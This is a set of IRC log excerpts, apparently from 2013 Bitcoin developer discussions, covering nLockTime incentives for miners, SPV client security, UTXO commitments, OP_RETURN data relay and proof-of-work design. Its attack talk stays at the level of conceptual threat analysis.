23:39 < petertodd> (needs a relatively expensive *spent* UTXO map, but that map can be distributed)
23:39 < gmaxwell> I don't see why it would hurt.. but if there were a committed utxo you could relay any transaction just by getting the membership proofs for its inputs.
23:40 < petertodd> gmaxwell: yes, that too, and it'd lead to a mode of use more applicable to adding committed UTXO later
23:46 < Luke-Jr> petertodd: should I post "needs rebase" to all your open pullreqs that need it, or can I just make you a list here?
23:47 < petertodd> Luke-Jr: nah, add it to the pullreqs
23:47 < Luke-Jr> k
23:51 < petertodd> Luke-Jr: nLockTime rolling for mining - what timespan do miners actually change the timestamp when doing this?
23:51 < petertodd> Luke-Jr: er, nTime rolling...
23:51 < petertodd> Luke-Jr: and is time rolling now obsolete?
23:52 < Luke-Jr> petertodd: in practice, I'd say it varies :/
23:52 < Luke-Jr> time rolling isn't obsolete, but not implemented with stratum yet
23:52 < petertodd> Luke-Jr: we talking seconds, tens of seconds? minutes?
23:52 < Luke-Jr> it's somewhere near the top of my BFGMiner todo
23:52 < Luke-Jr> petertodd: I would be surprised if ntime was off by more than 5 minutes
23:52 < petertodd> huh, I thought it was actually common
23:53 < Luke-Jr> stratum regressed a lot of progress that had been made with getwork :/
23:54 < petertodd> I was thinking it could be interesting to do a high-resolution timestamping facility by taking the best pow known for every second basically
23:54 < Luke-Jr> well, you might still get a lot of variety from fast pools
23:55 < petertodd> Yeah, it's no good if people need time rolling.
23:55 < petertodd> (although another non-rolled header could be acceptable)
23:57 < petertodd> See, it'd be possible for nLockTime w/ time-based locks to create some really ugly incentives for miners to mine blocks at thelimit of the 2hr window - a timestamping chain could provide a way for nodes to at least detect that their clocks are off, especially given how peers can mess with them.
23:58 < petertodd> It's still dodgy though... I was thinking if nLockTime-by-time inclusion was based on the previous block timestamp it'd be ok, but that still leaves large miners with incentives to screw with the 2hr window, never mind how it can reduce competition if there exists clock skew in the mining nodes.
--- Log closed Wed Jul 17 00:00:57 2013
--- Log opened Wed Jul 17 00:00:57 2013
00:01 < petertodd> (remember that if this is a timestamping facility any node wanting to know the current time simply gets a nonce timestamped, and then they know what time it is!)
00:11 < Luke-Jr> I don't see how nLockTime can discourage forward-dating blocks
00:11 < Luke-Jr> and there is no 2hr window backward..
00:12 < Luke-Jr> well, I guess if miners are behaving there is <.<
00:19 < petertodd> The problem is a block being created with nTime > actual time, and the incentive is to get a head start on other miners to put, say, a high-fee nLockTime in the block you are creating.
00:21 < Luke-Jr> petertodd: but nLockTime only sets a minimum time, it cannot set a maximum
00:22 < petertodd> but that's it, if I have a 1BTC fee tx, with nLockTime expiring in two hours, why not take the increased orphan chance and set nTime on my block to two hours ahead/
00:22 < petertodd> ?
00:22 < petertodd> yet if we allow that incentive, it's very bad for consensus
00:23 < gmaxwell> ha. We can fix.
00:23 < gmaxwell> it's a soft forking fix.
00:23 < gmaxwell> use the last blocks ntime, not this one.
00:23 < Luke-Jr> is sipa's secp256k1 branch reasonably stable?
00:23 < petertodd> gmaxwell: that's what I said...
00:24 < gmaxwell> petertodd: sorry I just read the last couple lines.
00:24 < Luke-Jr> petertodd: AFAIK we already don't relay transactions with time in the future?
00:24 < gmaxwell> petertodd: well I agree. (or not even the last block
it could use the minimum time)
00:24 < petertodd> gmaxwell: The problem is, that's only a fix if mining power is well distributed, it actually makes things worse because if there is a lot of profit to be gained the miners with a lot of hashing power still have the incentive, and it's to a much greater degree. (their orphan rate is less)
00:24 < Luke-Jr> gmaxwell: the minimum time will be earlier than the last block's :p
00:25 < gmaxwell> Luke-Jr: sure, but that doesn't change it really. Presumably if people start locking in the future miners will run nodes that take what they get and selfishly horde them, creating incentives for all miners to run good collection networks.
00:25 < petertodd> Luke-Jr: sure, but there are lots of ways to learn that a tx exists
00:26 < gmaxwell> petertodd: one of the reasons that the min is important there is because (1) it's hard to advance, and (2) when you advance it you raise the difficulty.
00:26 < petertodd> gmaxwell: I was working on figuring out the expected return - the math is really ugly
00:27 < gmaxwell> petertodd: a worst case expected return may be easier.
00:27 < petertodd> gmaxwell: Worst case is easy - your block is orphaned.
00:28 < petertodd> gmaxwell: See the issue is that once I find a block, the other side needs to find two blocks to beat me. As time goes on more of the other sides hashing power will accept my from the future block as valid, so then you get the next level where the remainder needs three blocks and so on.
00:28 < petertodd> gmaxwell: Pretty sure it can't be done as a closed-form equation.
00:30 < petertodd> gmaxwell: I don't think minimum time works either, because you still get to manipulate it by creating blocks in the future, although the ability too is definitely less. If I could show you'd need >50% hashing power to do anything interesting I'd be set.
00:31 < Luke-Jr> petertodd: hmm, is block-uneconomic-utxo-creation basically just an older revision of what Gavin did in 0.8.2?
00:31 < gmaxwell> petertodd: moving the minimum time forward needs the coperation of >50% of the hashpower over the small median window.
00:32 < petertodd> Luke-Jr: It's what Gavin did but non-hardcoded. I'd emphasize the better, not the older. :P
00:32 < Luke-Jr> petertodd: will you be rebasing it despite its closed status?
00:32 < Luke-Jr> actually, what about Gavin's is hardcoded? <.<
00:33 < petertodd> gmaxwell: Yeah, but you have to assume a steady stream of these incentives.
00:33 < gmaxwell> petertodd: right, so you have some force that turns all miners into a conspiracy.
00:34 < petertodd> gmaxwell: exactly
00:34 < petertodd> gmaxwell: nLockTime by time should have never been added in the first place, but it's such a nice idea on the face of it
00:35 < Luke-Jr> softfork so nLockTime requires data on what block a transaction was created at, and enforces the 10 min per block <.<
00:36 < petertodd> Luke-Jr: ?
00:36 < Luke-Jr> petertodd: for example, if you nLockTime for 1 day from now, it also enforces 144 blocks passing too
00:37 < Luke-Jr> so block count must be >now+144 AND time must be >now+24h
00:37 < Luke-Jr> not perfect, but might help
00:37 < petertodd> Still doesn't help in the usual case where mean interval is < 10 minutes, because you're back to only caring about time.
00:38 < Luke-Jr> usual now, but not eventually
00:38 < petertodd> Right, you've solved half the problem, when measured over the entire lifespan of Bitcoin, and only approximately half. :P
00:39 < Luke-Jr> theory is so much nicer than practice <.<
00:39 < gmaxwell> I'm forgetting why this is a problem again? If miners mine blocks early, people will just artifically inflate their times or switch to height locking.
00:39 < petertodd> The problem is you're incentivising miners to make the 2hr window for block acceptance effectively shorter.
00:39 < petertodd> Thus requiring accurate clocks for consensus.
00:39 < gmaxwell> if miners do this consistently they'll drive difficulty up too which wouldn't be in their interest.
00:39 < Luke-Jr> ^
00:40 < petertodd> gmaxwell: It's only a fixed 2hr offset, that just drives difficulty up by 0.5%
00:40 < Luke-Jr> and on top of that, you'd just end up treating nTime with a minus-2-hours :p
00:41 < Luke-Jr> if everyone does it, it's predictable.
00:41 < petertodd> More to the point for any individual miner the marginal difference if they do it is effectively zero.
00:41 < gmaxwell> consider, why why cant the 2 hour window be 24 hours?
00:41 < petertodd> Luke-Jr: But that's the problem, if everyone does it, and people respond, then you can extend the interval even further!
00:41 < Luke-Jr> petertodd: how?
00:41 < petertodd> gmaxwell: It should have been more like 24 hours in the first place...
00:42 < Luke-Jr> you don't change the 2h rule
00:42 < Luke-Jr> you just assume miner times will always be up against it
00:42 < gmaxwell> Luke-Jr: move your clock/window forward so you dont reject stupid blocks.
00:42 < petertodd> Luke-Jr: Again, the issue is the effect on *consusus*. I don't care when the tx gets mined, I care that miners are incentivised to break consunsus for anyone without NTP.
00:43 < petertodd> The problem is no matter *what* the window is, there is an incentive to mine as close to the window as possible to accept a tx sooner than your competitors.
07:22 < adam3us> petertodd: yes but that way lies doom unfortunately, if the tx and users continue to scale
07:23 < petertodd> adam3us: do you understand how TXO commitments can be re-worked into a shardable blockchain?
07:24 < petertodd> adam3us: nah, $20 uncensorable transactions of unseizable electronic money is a pretty damn good outcome. Be nice if we can do better than that, but just that alone is pretty good.
07:24 < adam3us> petertodd: i think vaguely is there a forum link or search term?
07:24 < adam3us> petertodd: $20 i agree
07:24 < petertodd> I've explained it in IRC, haven't written anything up on bitcointalk
07:25 < petertodd> Yup. The real danger with off-chain stuff isn't that transactions will be expensive, is that they'll be too cheap! Bitcoin's inflation rate goes to zero in the long run, and at some point the minimum reward to miners will become low enough that the security of the whole system is threatened.
07:25 < adam3us> petertodd: well one argument could be for unseizable digital scarcity wealth storage and not high tx at all, that is interesting in itself even without p2p tx at any high volume beyond a few tx per year per user
07:26 < petertodd> yup
07:26 < petertodd> you can always build upon that layer
07:26 < adam3us> petertodd: interesting observation, yes offchain success threatens chain security at the limit
07:27 < petertodd> Yeah, on the other hand, what matters isn't what transaction fees are, but rather what profit margin there is. Or to be exact, how much money is uselesslessly spent on overhead rather than mining itself.
07:27 < adam3us> petertodd: without naming names some people seem a little impatient and short-termist and they may steer things into dangerous directions without really thinking things through - i do like how you focus n the long term big picture
07:27 < adam3us> petertodd: its like chess, you dont win by looking at the next move, but at the end game from the start
07:28 < petertodd> People without a good understanding of economics have often argued that we need larger blocks because we need lots of transactions so the fees can support miners, but if those fees go into network bandwidth and harddrives, we haven't gained anything.
07:29 < adam3us> petertodd: and there is lots of scope for extremely plausible long term thinking sabotage disguised as rational short-term pragmatism; i get of assertive short-termists who cant explain or dont wish to entertain long term implications
07:29 < petertodd> For sure. There's a lot of pressure in this community for people like me to stop talking so much about the long term and focus on "real world engineering", but that's the kind of thinking you see at web 2.0 startups, and they have an alarming tendency to die early deaths.
07:30 < adam3us> petertodd: /i get ^suspicious of^ assertive.../
07:30 < petertodd> Ha, for sure, once you start assuming possible malice all this stuff gets really ugly. :P
07:30 < adam3us> petertodd: precisely
07:31 < petertodd> Reminds me: the more I think about it, the more I think I should be encouraging abuse like timestamping and data-in-the-chain so we get a good understanding of the parameters of that abuse before making decisions based on assumptions about what demand there is to do such things.
07:31 < adam3us> petertodd: i've been through a few startups, and without embarrassing the guilty, a guy who wanted to code and stop wasting time thinking and architecting the right solution, within 1year it deadended
07:31 < MoALTz> one idea is that some coin gets lost in every transaction, as well as fees. reason: the "loss" is actually donating value to the network as compensation for bandwidth, hard-drive storage, cpu usage; the losses mean that all the remaining coin gets more valuable
07:32 < petertodd> adam3us: Absolutely. This isn't a standard engineering problem where the solution space is well understood.
07:32 < adam3us> petertodd: it only didnt get ugly at company future level cos i rewrote it from scratch in a 80/hr week skunkworks
07:32 < adam3us> petertodd: 1 week of the right thing vs 1 year x 10 people of "stop talking big picture write code" ... thats the true picture
07:33 < petertodd> adam3us: Heh. Another case in point: maaku has spent a lot of effort implementing UTXO commitments with authenticated radix trees, and meanwhile I come up with TXO commitments seem to have made all that effort obsolete.
07:33 < petertodd> A month in the lab saves a day in the library. :/
07:33 < MoALTz> writing code that does something is indeed better. i need to do more of that.
07:35 < petertodd> Equally though, code is needed too... The lesson is just to understand the problem well before you start getting into code.
07:35 < adam3us> petertodd: that company later sold for $100m that probably wouldnt have happened w/out that rewrite... startups are full of random unproductive "code fast" shit that amazingly frequently ends up in the dustbin, ZKS was like that also
07:35 < adam3us> petertodd: exactly
07:35 < MoALTz> petertodd: easy to overdo it the other way
07:35 < adam3us> petertodd: problem is its very very hard to see any big improvement
07:37 < adam3us> petertodd: i think because of the interconnected cross dependencies; each important piece is fulfilling 3 or 4 functions, and while each function could get scaling by omiting a feature you cant change anything because overall it only just works with all the cross deendencies in place
07:37 < petertodd> MoALTz: The problem with my way is it's hard for people who don't understand the issues in great detail to tell the difference between smart people thinking hard about a problem, and wasting time doing nothing of real value. Code on the other hand can be evaluated for volume relatively easily.
07:38 < adam3us> petertodd, MoALTz: i can actually code, damn fast too; but mostly i am trying to solve the hard problem - if i crack a hard problem, will be coding like a demon :)
07:38 < petertodd> adam3us: Yup. I run into that at my day job all the time, because our system is extremely tightly coupled and unavoidable so. I've quite literally done projects that involved 8 months of design, followed by a week or two of implementation, with the implementation working pretty much perfectly the first time.
07:39 < adam3us> MoALTz: but yes there are multiple pressing issues that have gotta be worked on now that are defined
07:39 < MoALTz> adam3us: i tend to think of ideas, test them in my mind a lot, but cannot keep myself coding up a test implementation for them long enough to test them
07:39 < petertodd> adam3us: I've also had projects with 8 months of implementations, followed by realizing that was all a waste and I should have done a month of design up-front.
07:40 < adam3us> petertodd: a problem in startup culture that contributes is that management thinks of the work so far as "investment" so they cant change path even when they see the writing on the wall that this is a very bad path
07:41 < adam3us> petertodd: when hat you've done so far turns out to be wrong, yo need to be willing to rip it up and start again, they rarely can do that
07:41 < adam3us> petertodd: so ayway more back ontopic: i was wondering about disentangling bitcoin mining dependencies
07:41 < petertodd> Yup. I'm lucky to have a boss who's willing to accept that sometimes you've got to throw away what you've done, but even then it's hard.
07:42 < adam3us> petertodd: as i think in isolation nicer things can be done, just not on the interdependent version
07:43 < adam3us> petertodd: eg if you're talking about reward only (not relating to validation) you could probably direct mine with 0 variance work and no need for mining pools
07:43 < petertodd> Ok, before you get too deep, so lets check: what are the main functions of mining?
07:43 < adam3us> petertodd: so leads to can you separate reward from validation
07:43 < adam3us> petertodd: confusingly many :)
07:43 < petertodd> Yeah, reward != validation.
07:44 < petertodd> OTOH, in practice you need things like tx fees so you can figure out which tx should be in a block.
07:44 < adam3us> petertodd: so reward, blockchain evolution voting, spv client validation, sybil attack defense
07:44 < adam3us> petertodd: did i miss some?
07:45 < adam3us> petertodd: ah yes you reminded converging on a block definition
07:45 < petertodd> See, you're talking about a level farther removed than what I would have said.
07:45 < petertodd> For instance, proof-of-publication is really important.
07:46 < adam3us> petertodd: ah yes arbitrating which tx is first in double spends
07:46 < petertodd> Right, so timestamping.
07:46 < adam3us> petertodd: i was thinking one way to look at it is (apart from spv validation) bitcoin is actualy implementing a timestamping service
07:46 < petertodd> But do you understand what's so important about proof-of-publication? (or to be exact, proof-of-readership)
07:47 < adam3us> petertodd: and actualy something slightly more also: a namespace (like a timestamp but where names are strictly and cryptoraphically first come first served)
07:48 < adam3us> petertodd: maybe .. are you saying like wht defines a tx as confirmed is taht you see it (and not a double-spend) in the block chain
07:48 < adam3us> petertodd: i think it cn be equated actually to an auditable namespace, where the "name" is the txout
07:48 < petertodd> See, proof-of-publication/readership is what makes timestamping useful to prevent double-spends.
07:49 < petertodd> Do you understand why?
07:49 < adam3us> petertodd: do spell it out, its probable we are saying the same thing, but with different terms; i call that an application of an auditable namspace
23:42 < petertodd> same
23:42 < gmaxwell> petertodd: well look at my example and tell me how a merkle tree would work there?
23:43 < petertodd> oh, wait, stupid, I missed the S doesn't know c part somehow...
23:43 < petertodd> yeah, it's useful in that case
23:43 < petertodd> hmm... how about querying the UTXO set without telling the server what you are querying?
23:45 < gmaxwell> what would you query it for?
23:45 < petertodd> check that a txout is in the set, and thus a transaction someone handed you is valid
23:46 < gmaxwell> so one problem is say you get a hit ... now you say, okay give me the full transaction.
23:46 < gmaxwell> oops the server says, nah that was a fake hit I don't have that txout.
23:47 < petertodd> I'm more thinking you have a contract with a third-party UTXO database provider, and you want to know if a customer's transaction is valid, and neither you nor the customer has a UTXO set (so the customer can't give you a UTXO proof directly)
23:48 < petertodd> Only really useful if you have a safe zero-conf system of course...
23:49 < petertodd> Though it'd be useful for checking fidelity bonds.
23:51 < gmaxwell> In general I could see how this would be useful for a very large database to prevent censorship.
23:51 < gmaxwell> though how do you not get them to censor in advance when constructing the filter. hm.
23:51 < petertodd> Selective censorship
23:51 < petertodd> (client selective)
23:51 < gmaxwell> ah right.
23:52 < petertodd> Given how dodgy anonymous com channels are, that's a really useful thing to be able to do.
--- Log closed Wed Jul 24 00:00:18 2013
--- Log opened Wed Jul 24 00:00:18 2013
00:29 < amiller> hrm, hrm, just how strong is SPV anyway
00:29 < amiller> it's actually really secure
00:29 < petertodd> define "really"
00:30 < amiller> by the ordinary bitcoin assumptions, 51% etc etc, the problem with SPV isn't that a client might get duped or double spent
00:30 < amiller> the bigger problem is that "mining" as an SPV client is irresponsible and a public hazard, which could ruin the 51%
00:30 < amiller> the bigger problem is that "mining" as an SPV client is irresponsible and a public hazard, which could ruin the 51
00:30 < amiller> (er up arrow mistake)
00:31 < amiller> if 51% of miners do full validation and not just SPV, then the point is SPV is safe for everyone else
00:31 < petertodd> so lets say I accept transactions with one confirmation, and you've figured out what node I'm using, how secure is SPV for me in terms of cost to attack me?
00:31 < amiller> one confirmation doesn't count
00:31 < petertodd> why?
00:31 < amiller> it's still 6 or whatever, you have to do a risk calculation
00:31 < petertodd> why is it 6?
00:31 < petertodd> what not 5? or 7?
00:31 < petertodd> or 144?
00:31 < amiller> i carried on a thread once trying to analyze this
00:31 < amiller> 6 is just a social norm
00:32 < petertodd> did you analyze it in terms of probabiity, or cost?
00:32 < amiller> but really you could treat it as a risk management problem
00:32 < amiller> both
00:32 < amiller> cost is basically measured in time
00:32 < petertodd> no, cost is measured in money
00:32 < amiller> the longer you wait, the more of a hassle it is, and the more likely it's not suitable
00:32 < petertodd> lol, "hassle" has nothing to do with attacks
00:32 < petertodd> be precise, how much money does it cost you to attack me, and under what assumptions?
00:33 < amiller> petertodd, the only real interesting thing i came up with is that it isn't even the cost of attacking *you*
00:33 < amiller> it's more about the likelihood of getting swept up in an attack aimed at someone else
00:33 < petertodd> ah, you're getting closer to understanding this...
00:33 < petertodd> so what happens to this cost stuff if the attacker is attacking n targets at once?
00:33 < amiller> my basic model is an attacker with a budget and a time window
00:34 < amiller> i let the attacker have infinite hash power, but not an infinite amount of energy
00:34 < petertodd> how many targets does this attacker have?
00:34 < amiller> the target is some fraction of all the double spend opportunities in whatever time window they're successful in mining an "attack fork"
00:34 < petertodd> right, so your attacker can pay $x/second worth of electricity to get y hashes/second
00:35 < amiller> the attacker can purchase B hashes and he gets them all at once
00:35 < petertodd> heh, you've even more optimistic than I'm talking about, but go on
00:35 < amiller> so fix the network's hash rate, and the attacker's budget B. now the attacker has to pick a time window and a probability of success
00:36 < amiller> one thing i like to consider (i think someone else has talked about this recently) is a doomsday attack where someone makes a credible threat that they're going to reverse 24 hours of blockchain history
00:36 < amiller> beeginning on Jan 1 or something like that
00:36 < amiller> everyone knows (or believes) in advance that doublespends will be possible during this time
00:37 < amiller> (maybe there's some anonymous dropbox where you are supposed to spend your doublespend transactions)
00:37 < amiller> the point of this thought experiment is that the attack might not even need to be skillfully coordinated
00:37 < Luke-Jr> amiller: that'd be a difficult situation to double-spend in
00:37 < amiller> if you had an attack fork, maybe you can just get everyone to doublespend each other
00:37 < petertodd> hang on, go back a second, so how are you calculating return for the attacker against my SPV example?
00:38 < petertodd> what specifically is the attacker doing for that matter?
00:38 < amiller> petertodd, ok ok so i went on a tangent to describe the enormous attack that gets everyone to double spend everything
00:38 < petertodd> remember, I'm an SPV client
00:38 < amiller> the more realistic one i guess is that the point is an attacker pays for and mines an attack fork, and then tries to do some big double spending at that time
00:39 < amiller> petertodd, SPV or not, the point is you go find all the merchants you can
00:39 < petertodd> again, I'm an SPV client, why bother double-spending me at all?
00:39 < amiller> that are willing to make big irreovacalbe actions after some number of blocks
00:39 < petertodd> why not make a block that meets difficulty, and is filled with transactions that are fake?
00:39 < amiller> where that number of blocks is less than what you can mine with your attack budget!
00:40 < amiller> petertodd, the point is, if there's a merchant that lets you drive off with a ferrari after 6 blocks, and you are able to in a timely fashion produce 7 blocks before everyone else makes 6, then you can win a ferrarri
00:41 < petertodd> you're making a lot of assumptions
00:41 < petertodd> I can be much more clever than just trying to double-spend
00:41 < amiller> what else would you do
00:41 < amiller> what else would you need to do
00:41 < amiller> you could double spend money you don't even have
00:41 < petertodd> as I said, I can make blocks that are filled with completely invalid transactions creating money out of thin air
00:41 < petertodd> SPV clients can't tell the difference
00:41 < amiller> sure, good point
00:41 < amiller> that... definitely decreases the cost of an attack
00:42 < petertodd> indeed
00:42 < amiller> especially since if the attack fails in the ordinary double spend case you'd have a lot more to lose.
00:42 < petertodd> doesn't take much to sybil the network, after all, I might have other uses for that capability like trying to figure out who is making what transactions
00:43 < amiller> still, if you can achieve anything against this SPV client, you could also double spend the ordinary clients
00:43 < amiller> and double-spend is still a serious attack
00:43 < amiller> the real havoc is if SPV clients mine.
00:44 < petertodd> the thing is, against an SPV client I don't even need the money, and can launch my attack against a huge number of targets at once, so even if there's a tiny chance of success for any one target I win overall
00:44 < petertodd> (again, goes back to sybiling the network)
00:44 < petertodd> I don't need a 100% sybil
00:45 < amiller> petertodd, it's still very expensive for you to make an attack fork...
00:45 < amiller> a successful attack is more profitable if there are lots of SPV merchants, yeah
00:45 < petertodd> it is *right now*, it might not be in the future as fees become more important, and we don't know
00:46 < petertodd> heck, I could probably pull all this off in a real-life scenario, by, say, controlling the wireless network at a "satoshi circle" event and MITMing everyones android phone
00:47 < petertodd> "Gee, confirmations sure are taking awhile today aren't they?"
00:47 < amiller> it's quiet, too quiet.
00:47 < petertodd> Play it carefully and I can make it look like I lost money in the attack too so it's not obvious who actually made it happen.
00:48 < petertodd> In this scenario 10% of the hashing power would probably be enough for a real-life attack.
00:48 < petertodd> Heck, 0% given people accept zero-conf...
00:48 < amiller> yes
00:48 < amiller> so!
00:48 < amiller> lets say you're going to do a risk analysis
00:48 < amiller> lets say you're about to exchange 1 btc for cash
00:48 < amiller> how long should you wait?
00:48 < amiller> even if you're a full client
00:49 < petertodd> The best way, is for me to check their government issued photo ID and take a picture of it so I can report the counter-party to the police.
00:49 < amiller> heh, so we get as far as we can with the crypto and let government registries pick up the slack :p
00:50 < amiller> i'm not comfortable with protocols for which i don't have a model (not that i have a satisfactory one for bitcoin, which definitely makes me uncomfortable)
09:32 < adam3us> tacotime_: it was the same story again with larimer/protoshare/invictus momentum "cpu only" memory hard PoW, someone showed a few weeks into an impressively large VPS rented power driven difficulty ram that it was duh TMTOable and so worked just fine in GPU
09:32 < tacotime_> He did release some really broken source code, but then just fucked off
09:32 < tacotime_> If it's parallelizable, I find it difficult to believe that a GPU won't run faster even if you need memory
09:33 < tacotime_> GPU vRAM bandwidth is always going to be greater than the DDR3 bus on the main board
09:34 < adam3us> tacotime_: they tend to need unique memory per mining instance, so momentum aimed for 750MB but then someone TMTO'ed that with bloom filter in place of hash-table. (unreliable but much smaller hash-table)
09:34 < tacotime_> So when I hear about "dagger" I don't pay much attention either... implement it on GPU and play with it for a couple weeks, otherwise don't say it's hard to run on any single piece of hardware
09:34 < tacotime_> mm
09:35 < adam3us> tacotime_: yes. but GPU ram bus is wider.. like 256-bit, 384-bit etc vs CPU at 64-bit cache line. so that erodes a bit of the throughput. and the access is random and usually like 64-bit word size (or should be for this reaso)
09:36 < adam3us> tacotime_: 256-bit might be quite ideal for dagger :) its a merkle tree.
09:38 < adam3us> tacotime_: the only thing dagger is adding is to use coelho's use of fiat-shamir to make verification faster (and a few more links in the tree to make calculating all merkle steps slightly less skippable) its mostly a tweaked coelho merkle PoW. i mentioned the coelho merkle pow to vitalik its where he got the idea from.
09:40 < killerstorm> hi. does anyone have an idea when OP_RETURN outputs will be usable on the mainnet?
09:41 < jtimon> adam3us, tacotime_ : that's the problem. The story seems plausible, but solidcoin is not a reputable source...
09:41 < jtimon> adam3us, tacotime_ : the fact that "you would be making mining bitcoin and selling them for ltc if you really want the ltc" (I read that somewhere)
09:42 < jtimon> adam3us, tacotime_ : seems to point out in that direction, if ltc mining was less competitive, it should have been more profitable
09:42 < jtimon> maybe it was just a botnet what caused that
09:44 < adam3us> killerstorm: i am guessing that is a color coin related question ;)
09:46 < killerstorm> adam3us: yep. it's possible to do coloring without it, using otherwise unused nSequence is appealing, but people freak out and ask about OP_RETURN
09:47 < killerstorm> also it looks like non-tech people think that use of OP_RETURN makes protocol better and more legitimate :-/
09:48 < jtimon> which reminds me...adam3us seems like enabling "joyscript" in all assets, but disabling the ops needed for quines/covenants on the hostcoin would be a good compromise
09:49 < jtimon> adam3us: you know I don't share yyour same fears, but we don't know of any use case that requires covenants in the hostcoin
09:49 < jtimon> killerstorm: yeah, some freicoiners thought it would allow people to use the chain for messaging, files...
09:51 < adam3us> killerstorm: here's some replayed history from a few days back
09:51 < adam3us> (06:42:24 AM) justanotheruser: "So, with some reluctance, I recently merged
Relay OP_RETURN data TxOut as standard transaction type.
09:51 < adam3us> (06:42:36 AM) justanotheruser: So will it be standard in .9?
09:51 < adam3us> (06:42:52 AM) Luke-Jr: hopefully not
09:51 < adam3us> (06:43:04 AM) gmaxwell: 21:38 < gmaxwell> as of right now in git bitcoin allows data in OP_RETURN though given what people are saying I hope we back that out.
09:51 < adam3us> (09:46:35 PM) adam3us: gmaxwell: "as of right now in git bitcoin allows data in OP_RETURN though given what people are saying I hope we back that out." dont object to backing out (say NO to block-chain spam!), but what are they saying missing context?
09:51 < adam3us> (10:37:04 PM) gmaxwell: adam3us: there have been a number of articles about how bitcoin has been "upgraded" to enable "distributed storage" and such horrifying things like that.
09:51 < adam3us> (10:40:32 PM) adam3us: gmaxwell: ah yes. its a scary situation indeed. the flip side is there are then people who will stego encode then in multisigs if you dont, and create needless non-compactable TXOs and on.
09:52 < adam3us> (10:41:17 PM) gmaxwell: adam3us: thats why I didn't oppose it initially. Though the trade off of people thinking it is a good non-antisocial and supported application is concerning.
09:52 < adam3us> (10:41:39 PM) gmaxwell: Esp what happens if abusive use arises and it must be turned back, but there is also non-abusive use?
09:52 < adam3us> killerstorm: (end of few days old discussion paste)
09:54 < jtimon> I don't see it as such a bad thing, I think timestamping is a legitimate use of the chain, but it's sad how people understand it
09:55 < jtimon> about using the nsequence fields...I don't know, some people want to use it for microtransactions channels
09:55 < jtimon> I think the probable solution is for microtransactions to be directly off-chain, but I don't know...
09:55 < adam3us> jtimon, killerstorm: coloring is lower bandwidth than mastercoin (which sends even bid and meta-messages over the blockchain) but its still in theory non-btc tx bandwidth use.
09:56 < adam3us> jtimon: time-stamping at least typically is putting a single hash which is the merkle root of many documents
09:57 < jtimon> adam3us: yeah, I don't think you need to allow more than a single hash after return
09:57 < killerstorm> adam3us: by the way, gmaxwell mentioned that P2SH^2 would make storing data in blockchain impossible, but this is not true, it just makes it more expensive: people can simply 'mine' hashes which have prefixes they need and share data through those prefixes.
09:57 < jtimon> being not in-chain validated, it can be transffered off-chain as well
09:58 < jtimon> p2sh^2 ??
09:58 < killerstorm> jtimon: as far as I know, nSequence is basically dead, it was a bad idea in the first place. It is possible to do same thing (but better!) using multi-signature scripts.
09:58 < adam3us> killerstorm: yes this was mentioned somewhere. he viewed it as closer. also there are multiple stego encoding opportunities, eg unused not obviously invalid 1 of 2 multisig addresses etc. but just because you could stego encode with increasingly lower bit rates doesnt make it a good thing :) was talking about this with petertodd in the mastercoin
context.. for them they'd as well use a separate merge mined chain IMO
10:00 < jtimon> killerstorm oh, this doesn't use replacements https://bitcointalk.org/index.php?topic=244656.0
10:00 < jtimon> I guess nobody has a use for it then
10:03 < jtimon> adam3us do you know of any proposed use of replacements? https://en.bitcoin.it/wiki/Contracts#Example_5:_Trading_across_chains this needed it?
10:04 < jtimon> well, that can be replaced with coinswap, which doesn't need nseq iirc
10:08 < adam3us> jtimon: i dont know, others would know better
10:09 < adam3us> jtimon, killerstorm: i think killerstorm implemented atomic swap in is chromawallet (color coin wallet) if i recall the announce
10:10 < jtimon> adam3us but that is atomic swap between colors in the same chain
10:10 < jtimon> the link and coinswap is cross-chain
10:11 < killerstorm> transaction replacements are usable under condition that all miners are honest. this just doesn't make any sense.
10:11 < jtimon> well, coinswap can also be used in the same chain for mixing
10:11 < killerstorm> trading-across-chains doesn't need replacements
10:12 < jtimon> killerstorm: yes, you're completely right, miners should just get the transaction with higher fees when they receive double-spends
10:51 < jtimon> I guess we should just remove the seq field in freimarkets...
11:10 < adam3us> jtimon: the seq field was designed for revisable bids?
11:11 < TD> it is designed for mempool replacement
11:11 < TD> basically for high frequency trading between a set of parties (to use satoshis terminology)
11:14 < jtimon> adam3us, TD: yes, but as killerstorm says there's no reason for a miner to accept seq=5 over seq=3 if seq=3 has a hegher fee
11:16 < TD> of course there is
11:16 < TD> this kind of nonsense reasoning about game theory is so destructive
11:17 < TD> the reason is that if useful and compelling apps rely on that functionality, that increases demand for bitcoin and thus the value of their fees and inflationary rewards
11:17 < TD> miners are not thinking only 20 minutes into the future, you know
11:17 < TD> it's sort of like saying "bitcoin can't work because miners have incentive to merge together and then do 51% attacks to double spend"
11:18 < TD> what we actually see is the opposite, where pools throttle themselves if they get too big because to do otherwise would hurt the value of their money
11:18 < pigeons> the same pool that did double spend?
11:18 < pigeons> or facilitate it i mean
11:19 < TD> other pools have done the same thing in the past
11:19 < TD> deepbit, btc guild etc
11:19 < gmaxwell> deepbit was DDOSed off the network for a week solid when it reached 50% I don't believe it ever regulated itself.
11:21 < gmaxwell> I'd like it to be true, but the self regulation is not working well, it's not like 40% is at all okay. Ghash.io stole several hundred btc from betcoin dice when it had just 25% (possible due to betcoin accepting unconfirmed) and then continued to grow to >40% after that.
11:21 < gmaxwell> I dunno about the game theory stuff, I agree it's wankery. But at the same time the observed behaviors are not good either.
11:21 < TD> correctly configured incentives don't magically make better solutions appear though
11:22 < gmaxwell> We agree.
11:22 < gmaxwell> (well you and I at least on that. :) )
16:57 < tholenst> actually, until here you don't need so much; you only need to be able to call ECDSA_CHECKSIG directly, and then you can do it similar to detecting a SHA256 collision
16:57 < sipa> (i'm also not convinced about the usefulness, but that's another matter)
16:58 < tholenst> but -- the problem is that the money which is supposed to back your transaction might be gone once you detect the double spend. For this you need more, and weirder opcodes
16:59 < sipa> well if it's gone, it's gone
17:00 < sipa> going beyond the basic rule of "a coin can only be spent once" is dark magic
17:00 < tholenst> i adhere to that basic rule
17:01 < tholenst> the basic idea is: if you spend a "backing coin", you can only spend it in such a way that for the next... say 100 blocks, it still remains a backing coin
17:01 < tholenst> and only after that it can become a usual coin
17:02 < sipa> mhmm... dark magic :)
17:03 < tholenst> i don't think there's anything dark there
17:03 < sipa> (not impossible, and not necessarily a problem, but i think the consequences become horrible to reason about)
17:04 < tholenst> no, why? will you be happy if i give a proof of some good properties?
17:04 < sipa> no need to convince me :)
17:04 < sipa> it's just interesting to think about
17:04 < tholenst> i seriously think it would be a good idea to have it implemented
